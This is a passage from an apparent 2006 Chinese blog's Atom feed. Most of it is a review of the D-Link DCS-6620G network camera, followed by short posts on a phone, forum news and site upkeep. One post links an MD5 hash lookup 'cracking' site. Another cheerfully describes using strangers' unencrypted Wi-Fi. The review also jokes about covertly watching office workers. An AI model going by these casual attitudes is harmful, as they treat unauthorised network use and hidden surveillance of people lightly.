src="http://attach.mobile01.com/attach/200605/mobile01-443cd1799cbbdde56e6de46f2c91c87b.jpg"><BR>没事，你可以再近一点．．．<BR><BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-52b8ff098b2bc333cbaf3925994c4e13.jpg"><BR>这张像不像贞子的大眼睛，还可以看到瞳孔的版本．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-a63d22f7d9a44c710c5ec0708a32b4b2.jpg"><BR>最后来张底座照，可以看到有SECURICAM的字样，意指？？？<BR>在安全应用篇为您完整揭晓^^<BR><BR>－－－接下来咱们介绍一些基本功能－－－<BR><BR>先来看看原厂所发布的规格吧<BR><BR>节录於<A href="http://www.dlinktw.com.tw/product_view.asp?subMenuCode=0&sno=IJIQ" target=_blank>D-Link DCS-6620G原厂规格介绍</A>&lt;-更详细的规格请点．<BR>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<BR>产品特色 <BR>独立式网络摄像机,内置CPU& RAM无需与计算机结合 <BR>内置IEEE 802.11G 无线网络 <BR>可使用有线网络或者无线方式链接至网络摄像机 <BR>透过互联网即可远程监控 <BR>使用1/4-inch CCD sensor <BR>内置光学变焦镜头 <BR>支持最强Motorized Pan/Tilt/Zoom <BR>监控窗口可调式 十倍光学/十倍数位 影像放大 <BR>可移动式镜头 <BR>透过随机附赠 Surveillance 软件 最多可同时监控 16台网络摄像机 <BR>配合监控软件可选择移动检测录像或者 计划录像 监控 <BR>配合监控软件提供聪明的拨放程序 <BR>支持可选择MPEG4/M-JPEG 压缩格式 录制影像, <BR>最高影像分辨率可达 704X480 <BR>提供双向语音功能,可即时在线双向语音对谈 <BR>即时入侵检测监控,事件发立即采集影像并以mail 及FTP方式告知 <BR>支持超低照度0.05lux/f1.8 <BR>强大监控软件提供影像的采集与录制功能 <BR>支持即插即用功能以及DDNS <BR>提供Web-UI 管理介面<BR><BR>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<BR>看到这些功能介绍了没，多到令人眼花呀，市面上网络摄像机也是相当的多，什么自动变焦，2X/4X光学或数位变焦，嘿嘿遇上咱们的DCS-6620G这些都只是小儿科，这颗”球”内置6mm镜头，10倍的光学变焦能力，想清楚的拉近双方的距离这些都不成问题．．．咱们就来看看测试的图吧，犀牛家住了三个男生和三只猫，平常都不太整理的所以有些杂乱，还请见谅，图的主人公是我的可口可乐单车后的工具包．<BR><BR>注意－这个帧原是704X480每秒１０张的最高质量，也就是说这是动态摄影下，透过无线网络在计算机端所抓下来的图，PO上M01的图会自动改变大小，但也差不了多少．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-eb13b22424d01046412ea206f28fc2dd.jpg"><BR>－－－1倍－－－清楚．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-b3170647c739b66764f19cc4ed8970e2.jpg"><BR>－－－2倍－－－很好．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-f2188a958840555ce3c610d4cf9152d7.jpg"><BR>－－－3倍－－－不错．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-10b40491a61e880b23232bf5c412acdf.jpg"><BR>－－－4倍－－－工具包的可口可乐字样出现．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-0720f72f8b7b492c77602e81c2296c61.jpg"><BR>－－－5倍－－－还是很清楚．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-6151bd88fdf9a010c4d3632b7c6816f4.jpg"><BR>－－－6倍－－－开始有些模糊．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-9bbae2c664c17c5d84c4bc45fabb21d8.jpg"><BR>－－－7倍－－－和6倍时差不多．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-bc196c184770bb8a332a46884ad03714.jpg"><BR>－－－8倍－－－哇～开始不清楚了，但还是可以分辨出轮廓．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-a649fc85ec4129bdef1e478e9a7c2aa3.jpg"><BR>－－－9倍－－－还是可以分辨出轮廓．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-b01b9713c25885fd2938d85d886c1eb7.jpg"><BR>－－－10倍－－－太近了糊成一团，不过10倍光学变焦的确把距离拉近了．<BR><BR>接下来先简单的看一下，6620G内置的WEB控制介面．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-4af1e34e55fb1619e46dfdb67b41f2a2.jpg"><BR>这里可以看到6620G所监看到的帧，而所有控制6620G操作的地方就在这里．．．控制？没错，我们可以经由IE或其兼容之浏览器来做远程控制，由上头的帧可以看到许多控制6620G的操作按钮，包含上下左右还有中间的回归原定点的按钮，还可以调整焦距缩放和调整光圈决定光线进入CCD的多寡，原厂规格支持超低照度0.05lux/f1.8 下拍摄，称后会有Low LUX的测试．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-c9cffa56debed873297ab61e663ff973.jpg"><BR>这个帧是设置控制端（计算机）的一些设置，包含Video和Audio是否同步的设置，选择传输用的协议等．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-8746b2ab29e6d02cb5ef7906f5f6e660.jpg"><BR>这里就是整个6620G的设置核心，也是最能了解6620G高贵的地方之一，它除了WEB控制介面外，还有一套叫做IP surveillance的软件，这套软件也是一个很大的卖点，其功能之强大，得开另外一个主题来介绍它，犀牛本身也要好好的研究一番．<BR><BR>这里先放上在LOW LUX下的帧．．．<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-9701c973d868c7eb94fef429b10894c1.jpg"><BR>照度计上显示为0.59Lux（在黑暗中用闪光灯拍的，而不是这种亮度是0.59Lux）．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-e118db2fef139cd781a99ec120366443.jpg"><BR>这是我用Sony Handycam DCR-HC90用Night Shot所拍的照片．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-50b5a82c41c577466004ddd0a7f85eeb.jpg"><BR>这是依靠6620G本身的LED灯的亮度拍下在它前面的照度计．<BR><BR>关于LOW LUX部分的问题，因为犀牛对於摄影的一些专有名词还有调整光圈什么的不是很熟，就犀牛所知道的0.59Lux下是等於0.059FC，按照原厂的规格在这照度下应该是有法子拍出些东西来，犀牛调整了老半天却总是黑鸦鸦的一片，直到我把球给调到下面才利用LED灯光来拍到一些比较清楚的东西，也就是放在前面的照度计，不知道是犀牛太笨调错设置什么的，以下是犀牛的设置，不知道那里错了，preview总是一片黑，我还把HC-90的Super Night Shot打开放在它边边，看会不会比较好一点，可惜它可能没这功能吧，结论还是黑．<BR><BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-c038761830a0cfef8041716112915337.jpg"><BR>如果是犀牛设置错误，那这里如果有D-Link的开发人员，还烦请教一下犀牛怎么设置，还是说犀牛误会了它在低照度下的意义？<BR><BR>犀牛就简单的以文字和图片介绍一下设置6620G操作的细部选项．<BR><BR>－－Network－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-926a77c9015208875d5f187042872454.jpg"><BR>这里顾名思义就是设置网络相关的功能，能不能控6620G来做远程监控，就是这里了，包含有线和无线的设置都在这里，在安全编码部分支持WEP/WPA-PSK．<BR><BR>－－Mail&FTP－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-de54ea6485df09e1286ed06e258e64e5.jpg"><BR>工作很忙不能有事没事盯著帧看怎么办，没事咱们可以设置让6620G经由Mail或FTP发送图片给您，可以有很多Mail可以使用，反正现在免费的mail那么多，若真没有其他的Mail能用，没事贴PM给犀牛，犀牛有一堆鸡妹儿（Gmail)的邀请可以申请的，若自己有架FTP Server就可以设置它上传到FTP上去．<BR><BR>－－DDNS&UPnP－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-e78ab0dff9bd07d7dbf6647db3c86f35.jpg"><BR>我们可以为6620G申请一个Domain Name，以方便我们直接对6620G连线，毕竟现在有许多人都是用动态IP，三不五时ISP就会换一下IP，有了DDNS就可以不怕不知道6620G的IP是多少了，它会自动上去该服务站点随时更新变动后的IP，如果自己家的WRT己经有启动这个服务的话，就可以在WRT上设置好虚拟服务器这样一样可以方便的连回6620G罗．<BR><BR>－－Video－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-06001e2bc7ce8ffd005938da6bff171c.jpg"><BR>这里就是设置传输质量的地方，可以看到犀牛所设置的质量是很高的，己经是6620G最好的质量输出了，不过呢要考虑到一点，因为犀牛的测试完全是在802.11g的Wireless LAN里测试，所以质量调高是无所谓，倘若需要从WAN连接到6620G，就得考虑到自家的上传带宽与你所在位置的连线带宽罗，毕竟能够及时监看才是重点，再者6620G它本身有CPU和内存，也内置Mpeg4压缩功能，所以可以直接快速的把影像发送出去，还能保持可够识别的质量．<BR><BR>－－Audio－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-592c18f3788212ca56db631d4d2322c3.jpg"><BR>6620G本身内置的MIC感度相当高，客厅的猫叫声都能听到（6620G的测试位置算是开伙区），当然也是可以调整它的音质，不过呢这种东西犀牛觉得能够听的清楚就好，例如小孩哭声，或有没有宵小的讲话声，有时候影像无法及时的时候，还可以有声音来了解现场情况．<BR><BR>－－Image Setting－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-b50f662f5d899bd7ac82ec8c4d2f3674.jpg"><BR>这里就是调整影像的对比之类的设置，大家应该都知道是什么．<BR><BR>－－CCD Setting－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-e3f8159ef21d0a09e7836f8dc935bf5c.jpg"><BR>这里在上面就有看过了吧，就是在调整快门，和启动Low Lux功能的地方，还有白平衡或Low Lux下切换成黑白模式．<BR><BR>－－Motion Detection－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-ee1400638721677281684791f4488776.jpg"><BR>这也是6620G酷的地方之一，这就是所谓的操作检测模式，如果我们是定点录像的话，没人在家的话，除了闹鬼外应该不会有移动的物体出现，那是不是会长时间都录同一个帧呢？没错这也是有时候很多人懒的回去看tape的原因之一，因为要快转倒退才能发现有不一样的地方，这时候这个功能就很好用啦，当它在帧经过一段时间没变化时，它就会停止录像一方面也省硬盘空间，如果6620G发现到有移动物体时，它就会启动录像或拍照，至於原理是什么，上Google查就会很多数据了，主要是做图片的比对，当然罗～如果你让6620G是自动监看模式（就是球体会左右动），那这个功能就没用了．<BR><BR>－－Camera Control－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-adb53168a6e45a307911037cfad8b1c0.jpg"><BR>这里也是个相当方便的功能，记不记得WEB控制介面，我们想看那里就要控上下左右，放大缩小来定位吧，这里呢～我们可以事先把位置给决定好，再给它取个名字，如果我把”犀牛房门”这名字的位置定位在我的房间口，即使6620G现在的镜头是正对可乐车，我只要一选择”犀牛房门”，它就会自动的移到我们预先所设置好的监看位置，这是不是很方便呢．<BR><BR>－－Site Survey－－<BR><IMG src="http://attach.mobile01.com/attach/200605/mobile01-b967c7694ebf3ce1f7aef77533a9e9e6.jpg"><BR>这里是在决定连线的无线网络，这个呢当然不能乱连罗，从图上可以看到有数台AP，全是犀牛房间的AP，当前数量共有六部，因为犀牛最近在编译版无线网络的LAB，所以需要很多这些玩具，说到这里我要感谢一下我那位笨蛋朋友屎提粪先生，他支持了犀牛不少设备．<BR><BR><BR>看到这里，犀牛还有很多功能还没介绍出来呢，不过大多己经是更高级的功能了，那些会在下一个主题”软件介绍篇”中更详细的介绍，包含IP surveillance可以控制16颗6620G，我仅一颗能用，不过这些基本功能是不是己经让你们比较能够想像它高贵的地方了吗？<BR><BR>基本功能篇总结：<BR><BR>呼～～这真是大长篇，虽然图片还是占了大多数，这颗我玩了快20天，其中有一个多星期我都忙著其他的事，学期末的一些报告啊什么的，远在美国的犀牛太座也用远程监看，盯著她心爱的犀牛在干嘛，还有看看杂乱的牛舍，没法子犀牛的怪家私太多书又多，房间又不大，只好往空中发展，这颗DCS-6620G无线网络摄像机能够应用的范围其实相当的广，放在家里可以当保全摄像机，放在婴儿房可以随时查看baby的状况，声音影像都能够同步发送，放在Office呢，嘿嘿～～若以后你们在Office看到这颗东西，别怀疑．．．它不会单纯拿来抓小偷用的，要聊天或讲上司坏话者请自爱，挖鼻孔或打混摸鱼者请小心，因为你们的一举一动很可能都会被6620G看在眼里，另外咱们来谈谈犀牛觉得它该改进的地方．．．<BR><BR>１．首先如此漂亮的眼睛，竟然没有设计镜头保护盖？包装时仅一块泡棉盖著？面对如此高价的设备，我想一个镜头保护盖是必要的．<BR><BR>２．这可能也是Wireless产品的通病，温度接近５５度～６０度，整体设置仅底座的材质会散热，若是放置在桌上这样是不好散热的．<BR><BR>３．偶尔～WEB控制介面的反应时间会过慢或卡住不动，重新启动才正常，但又不是热当（影像持续在传输，单纯802.11g Wireless LAN的环境下，并无经由WAN连线），所以是不是会在新版的Firmware改善这个问题，还请D-Link Check看看．<BR><BR>４．手持遥控器对它做控制操作时，反应似乎有点笨，如果从左按到右是需要连续按按钮的话（不是按住不动，像玩雷电要连打的那种按法），那这个遥控器按键设计不是太好按，而且这种按法对遥控器的耐用度还有待考量．<BR><BR>５．低照度的问题，这点我想先看看有没有D-Link的开发人员来响应这问题后，再把它当做是一个需要改进的地方好了．<BR><BR>６．这种需要灵活放置的高价设备竟然没有PoE？虽然它号称是”无线摄像机”，但是如果有些场合不会用无线，而是决定使用802.3u的方式来获取最佳质量和连线带宽，没有PoE在安装上的确是不方便的，拉一条网络线会比要一起拉电源线还来的方便，过阵子再发表PoE设备改装DIY好了．<BR><BR>犀牛对使用DCS-6620G来架构监看环境的一些建议．<BR><BR>因为它一旦启动时，吃掉的带宽是相当可观的，再加上802.11a/b/g的机制，它对Wireless LAN的效率影响是很明显的，像犀牛一旦启动它，500G的灯就闪个不停，活像在跑BT，所以若真的要编译版一个稳定的环境，最好是另外为它再准备一台AP，而这台AP就专门创建一个LAN是给6620G等产品做监看环境用，这样会比较妥当而且又稳定．<BR><BR>犀牛对於DCS-6620G的一些感想．<BR><BR>这产品的功能真的是相当的强大，如果犀牛太座以后生了小犀牛，那犀牛肯定会买个几颗来装在小犀牛房，几万块很贵是没错啦，但是能够多一个途径来了解小baby的情况，几万块算得了什么，所以它除了可以拉近距离，应用的范围还真的很广，包含上头说过的打混摸鱼者请小心，平常没事还能放在家里的玄关，对外的窗户监看室内的动静，出门去是否也能够比较安心，3G手机拿著就能连回6620G即时监看（3G数据服务用NB上网的那种，单纯3G手机上看我是没试过，所以不知道行不行），所以科技始终来自於人性，这可以算是VOIP差不多的杀手级服务，以前一整套DVR质量优良的也要几万块，所以就看各位看倌如何去对DCS-6620G做一个定位罗，最后基本功能篇在此告一段落，呼～手酸了来去睡一下．]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=272" /> 
	  <id>http://www.openx.cn/default.asp?id=272</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[哈哈论坛扩容成功~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-05-17T09:46:54+08:00</updated>
	  <published>2006-05-17T09:46:54+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;</P>
<P>欢迎来我们 超级无聊天堂 噢</P>
<P><A href="http://bbs.openx.cn">http://bbs.openx.cn</A></P>
<P>扩容后的 无聊天堂 <BR><BR>新增了两大版块,七个小版块,同时移动了 BT,骡子分享区:<BR><BR>资源分享区(独了了不如众了了,把资源分享出来,自己会得到的更多)<BR>&nbsp; &nbsp; &nbsp; ◇手机 图片 铃声◇<BR>&nbsp; &nbsp; &nbsp; ◇手机 软件 游戏◇<BR>&nbsp; &nbsp; &nbsp; ◇手机 电子书 电影◇<BR>&nbsp; &nbsp; &nbsp; 伴奏资源分享<BR>&nbsp; &nbsp; &nbsp; 翻唱技巧<BR><BR>驴游天下(喜欢旅行,户外的朋友可以到这里来灌灌~发布最新活动讯息)<BR>&nbsp; &nbsp; 经验分享<BR>&nbsp; &nbsp; &nbsp; 驴行摄影<BR><BR>修改了论坛内部设置,现在支持上传10M的附件(原先才支持2M),支持了邮件的发送(可能不稳定,遇到问题望能把错误状态发我一份,好做分析),增加了首页内容提要包括(会员发贴排行榜 最新发表主题 浏览最多主题 回复最多主题).<BR><BR>来吧属于我们大家的无聊天堂正在一步步成长中,需要大家的努力来建设属于我们的天堂.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=271" /> 
	  <id>http://www.openx.cn/default.asp?id=271</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MD5在线破解网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-05-10T17:10:38+08:00</updated>
	  <published>2006-05-10T17:10:38+08:00</published>
		  <summary type="html"><![CDATA[<P><A href="http://md5.rednoize.com/">http://md5.rednoize.com/</A></P>
<P>破解方式,收集N个对应的md5明文跟密文,然后搜索~后后~</P>
<P>&nbsp;</P>
<P>这个比较辛苦~~~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=267" /> 
	  <id>http://www.openx.cn/default.asp?id=267</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[五二又去了琅歧海边~哈~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-05-02T21:02:24+08:00</updated>
	  <published>2006-05-02T21:02:24+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/10_15_58361494f03bb3d.jpg[/img]</P>
<P><A href="http://bbs.openx.cn/read.php?tid-231.html">http://bbs.openx.cn/read.php?tid-231.html</A></P>
<P>看这里啦~哈哈~放论坛去咯~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=266" /> 
	  <id>http://www.openx.cn/default.asp?id=266</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现好多wifi网络资源~哈哈~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-04-27T16:24:24+08:00</updated>
	  <published>2006-04-27T16:24:24+08:00</published>
		  <summary type="html"><![CDATA[<P>今天中午吃饭路上~身上的 6365时不时的发出找到新网络的通知~</P>
<P>拿出来一看~活活~还真有几个wifi网络~</P>
<P>大部分还都是没有加密的~哈哈~</P>
<P>&nbsp;</P>
<P>可以直接用 ppc上MSN,浏览网站的噢~哈哈~~~~~发咯~</P>
<P>&nbsp;</P>
<P>感谢~那些家庭和公司的无私~(其实很多他们还不知道需要加密啦~)</P>
<P>&nbsp;</P>
<P>嘎嘎~</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=265" /> 
	  <id>http://www.openx.cn/default.asp?id=265</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[哈哈~现现偶的新玩具~~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-04-25T23:45:42+08:00</updated>
	  <published>2006-04-25T23:45:42+08:00</published>
		  <summary type="html"><![CDATA[<P><img src="http://www.openx.cn//attachments/ppc/0-004.jpg" border=0></P>
<P>呀呀~HP iPAQ 6365,是不是个体顶大的~嘿嘿~</P>
<P><img src="http://www.openx.cn//attachments/ppc/0-005.jpg" border=0></P>
<P>偶的桌面~背景是偶LP哇~</P>
<P><img src="http://www.openx.cn//attachments/ppc/0-006.jpg" border=0></P>
<P>手机拨号界面~活活~按键很大吧~爽就一个字~嘿嘿~</P>
<P><img src="http://www.openx.cn//attachments/ppc/0-007.jpg" border=0></P>
<P>玩玩~祖玛~活活</P>
<P><img src="http://www.openx.cn//attachments/ppc/0-008.jpg" border=0></P>
<P>连上GPS(阿牛那暂A过来的~活活)</P>
<P>&nbsp;</P>
<P>活活~~~~~</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=264" /> 
	  <id>http://www.openx.cn/default.asp?id=264</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[耶耶~~~淘了个新手机~惠普HP iPAQ 6365]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-04-24T11:36:46+08:00</updated>
	  <published>2006-04-24T11:36:46+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>PDA 的外型</STRONG><BR>手机的正面，拥有着 Pocket PC 血统的 iPAQ h6365，设计方面也像极了 PDA 的外型。具有 3.5 吋 6 万 5 千色 TFT 的大屏幕，不论是操作方面、手写输入或是观看多媒体娱乐，都是视觉上的一大享受。</P>
<P>虽然 iPAQ h6365 是定位为 PDA 系列的产品，但是在机身侧边按键部份，反而倒是比较像是传统手机的感觉。在机身的左侧，具有耳机孔与记事键，让身边一闪而过的重要讯息，马上就可录音或是记录下来，不用再到选单中慢慢寻找。</P>
<P>iPAQ h6365 的操作系统为 Windows Mobile 2003 for Pocket PC 系列，所以也是支持手写方式的输入，即使外观看起来比较巨大，可是当男性们拿在手上手写输入时，握感、重量方面倒是觉得恰到好处。iPAQ h6365 除了内建红外线和蓝芽传输外，原厂配件中还附有特别设计的 USB 传输座，让常常需要与桌上型计算机进行同步操作的使用者们，方便了不少。</P>
<P>在机身右侧方面，有着音量调整键、SD 插槽以及拍照按钮。除此之外，SD 插槽方面还贴心的设计保护卡，当你没有需要插入 SD 卡时，就可以使用此保护卡以防止灰尘会不小心的跑进去，整体外表看起来，比使用软塞来得有质感。</P>
<P><STRONG>扩充内存　尽情享受所有功能</STRONG><BR>已经内建 64MB 大容量内存的 iPAQ h6365，同时也有可扩充 大容量SD 或 MMC内存的插槽。 不管多少照片、影片或是 MP3，通通都可塞得下。</P>
<P><STRONG>超大全屏幕式拍照</STRONG><BR>iPAQ h6365 具备了 30 万画素相机，可以拍出 640 X 480 大小的照片，以及 6 段的光线调整，4 段式的数字变焦，再加上全屏幕的方式预览拍照，使用起来都让人眼睛感觉非常地舒适。</P>
<P>在后续处理照片方面， iPAQ h6365 既然是 Pocket PC 的操作系统，消费者在未来可以自行安装应用程序使用</P>
<P>尺　　寸：119 x 75 x 18.7 mm<BR>重　　量：190 g<BR>通话时间：4 小时<BR>待机时间：200 小时<BR>萤　　幕：3.5 吋 6 万 5 千色 TFT LCD<BR>电　　池：1800 mAh 锂电池<BR>颜　　色：银</P>
<P><STRONG>商务专家切入手机市场</STRONG><BR>Pocket PC 市场龙头的 HP，首度推出内建通讯功能的 iPAQ h6365，iPAQ h6365 的造型延续 iPAQ 系列，给人商务专业的成熟形象，由于打着首款进军手机市场的名号，因此不论是在功能规格或操作接口上，iPAQ h6365 都有其优势所在。iPAQ h6365 采 Windows Mobile 2003 Phone Edition 操作系统，内建四频：850/900/1800/1900 MHz、三无线：GSM/GPRS、WiFi、Bluetooth 和双网：GSM/WiFi 通信功能，透过快速的宽频，消费者可享受高速上网浏览与多媒体影音的服务，让行动商务更有 效率。</P>
<P><STRONG>无线功能齐全商务应用好帮手</STRONG><BR>iPAQ h6365 内建 30 万 VGA 相机镜头，可作 4 段数字变焦，拍下的照片可利用红外或蓝芽直接传输到计算机或打印机，或是直接利用 MSN 或 Skype 传给好友。购买 h6365 时随机附赠 41-key 抽换式微型键盘，方便使用者书写邮件、简讯与快速输入特殊字符及符号。除商务功能外，超大的 3.5 吋屏幕上最适合用来欣赏影片，流畅的画质与音效皆属一时之选。为了满足使用者储存大量档案的需求 iPAQ h6365内建有 SD 扩充记忆插槽，再多档案都不怕。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=263" /> 
	  <id>http://www.openx.cn/default.asp?id=263</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[丫丫~今天服务器停了一天~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-04-20T21:00:14+08:00</updated>
	  <published>2006-04-20T21:00:14+08:00</published>
		  <summary type="html"><![CDATA[<P>呼呼~~~</P>
<P>今天家里不小心停了下电,UPS每有坚持到送电就也断了,造成openx.cn下所有服务暂停~后后~</P>
<P>不好意思~实在是粉不好意思~呼呼~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=262" /> 
	  <id>http://www.openx.cn/default.asp?id=262</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[代友发个招聘信息~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-04-19T15:36:20+08:00</updated>
	  <published>2006-04-19T15:36:20+08:00</published>
		  <summary type="html"><![CDATA[<P>条件:会PHP,Java的.有经验者优先.</P>
<P>工作地址:福州.</P>
<P>联系方式:MSN－&gt; stephenguan [at] msn.com<a href="http://www.openx.cn/mailto:stephenguan@msn.com"></A></P>
<P>直接跟他聊就成啦~</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=261" /> 
	  <id>http://www.openx.cn/default.asp?id=261</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[反问量大增!!!!!!!!!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-04-19T09:15:08+08:00</updated>
	  <published>2006-04-19T09:15:08+08:00</published>
		  <summary type="html"><![CDATA[<P>这几天日志反问量大增~</P>
<P>每天流量都在<FONT color=#ff0033 size=6><STRONG>9000</STRONG></FONT>多都上万的了.</P>
<P>计数器统计昨天一天浏览人数<FONT color=#ff0000 size=6>92</FONT>人.浏览次数<FONT color=#ff0000 size=6>10000</FONT>多,靠~小大小大~</P>
<P>哈哈~有点欣慰~呵呵~</P>
<P>也对正在日志上做推广的淘友有个交待啦~哈哈~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=260" /> 
	  <id>http://www.openx.cn/default.asp?id=260</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[加了个验证码终于清静多了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-04-17T20:33:27+08:00</updated>
	  <published>2006-04-17T20:33:27+08:00</published>
		  <summary type="html"><![CDATA[<P>最近非常多的无聊广告~郁闷死了~加了个验证码终于清静多了~</P>
<P>呀呀的~每天都会有N个广告评论~跟留言,每天都要花小长时间来清楚,呀呀的~</P>
<P>发的还都是那么低级的词眼,忍无可忍啦~还是加了个验证码清静多了~呼呼~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=259" /> 
	  <id>http://www.openx.cn/default.asp?id=259</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ServerVariables 集合检索预定的环境变量]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-17T16:54:31+08:00</updated>
	  <published>2006-04-17T16:54:31+08:00</published>
